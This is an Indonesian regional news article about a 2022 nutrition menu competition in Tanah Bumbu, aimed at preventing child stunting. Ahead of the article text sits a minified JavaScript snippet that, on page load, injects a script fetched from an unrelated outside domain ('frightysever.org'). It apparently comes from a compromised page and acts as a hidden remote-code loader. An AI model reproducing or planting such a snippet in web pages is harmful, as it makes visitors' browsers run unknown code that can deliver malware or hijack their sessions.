(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DKPP Tanbu Gelar Lomba Menu B2SA, Cegah Kekurangan Gizi Keluarga

KANALKALIMANTAN.COM, BATULICIN – Dinas Ketahanan Pangan dan Pertanian (DKPP) Kabupaten Tanah Bumbu (Tanbu) mengadakan lomba PPL B2SA tingkat Kabupaten Tanah Bumbu tahun 2022.

Lomba pangan menu B2SA (Beragam, Bergizi, Seimbang, dan Aman), mengusung tema “Makan Enak Makan Sehat Makan B2SA”, Rabu (23/11/2022).

Ketua pelaksana lomba, Erna Kalsum menyampaikan, kegiatan ini dilangsungkan demg tujuan masyarakat di Kab Tanbu bisa membudayakan pengolahan pangan lokal dengan memperhatikan unsur B2SA, yang memenuhi kandungan karbohidrat dan protein maupun vitamin mineral dalam menu makanan sehari-hari.

“Selain itu untuk meningkatkan pemahaman masyarakat akan pentingnya konsumsi pangan menu beragam bergizi seimbang aman ini, serta agar mendorong kreativitas masyarakat khususnya ibu rumah tangga, dalam memilih sumber daya lokal,” katanya.

Tim penilai yaitu dari Dinas Ketahanan Pangan Provinsi Kalimantan Selatan, Ahli Gizi UPTD Puskesmas Binuang dan tata boga. Disamping itu, juri kehormatan yaitu Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Tanbu, sedangkan peserta merupakan TP PKK Kecamatan se Kabupaten Tanbu.

Ketua TP PKK Kab Tanbu, Hj Wahyu Windarti Zairullah berharap melalui lomba ini bahan pangan lokal tidak hanya dimanfaatkan untuk pemenuhan gizi keluarga, tetapi dapat dijadikan peluang usaha dari kreasi menu kearifan lokal.

“Saya berharap kepada ibu-ibu dapat meningkatkan pangan keluarga, guna menjadikan keluarga sehat dan bergizi sehingga tidak ada anak yang kekurangan gizi, semisal seperti menu daun kelor dan daun katuk termasuk menu baik yang trendnya tembus hingga ke luar negeri, dan juga bisa dimanfaatkan untuk pengolahan pangan baik di rumah. Ibu rumah tangga harus cerdas mengelola pangan sehat dari bahan lokal, selain itu bisa membantu anak-anak yang terkena stunting, dengan memberikan bantuan pangan menu sehat dan bergizi,” jelasnya.

Sementara itu, Kepala DKPP Tanbu, H Hairuddin mengatakan, untuk memperbaiki konsumsi pangan masyarakat menjadi lebih beragam, pola konsumsi sehari-hari harus tepat dengan jumlah gizi yang berimbang. Sehingga konsumsi pangan yang berkualitas dapat mengatasi permasalahan yang ada termasuk stunting, dengan manfaatkan potensi alam daerah serta membantu pendapatan rumah tangga.

Pemenang lomba menu B2SA diraih oleh TP PKK Sungai Loban sebagai Juara 1, TP PKK Kecamatan Angsana juara 2, disusul TP PKK Kecamatan Satui juara 3, TP PKK Kecamatan Mantewe juara 4, TP PKK Kecamatan Karang Bintang sebagai juara 5. Pemenang lomba menu B2SA ini mendapat hadiah yaitu sejumlah uang yang telah disiapkan sebagai pembinaan.(Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk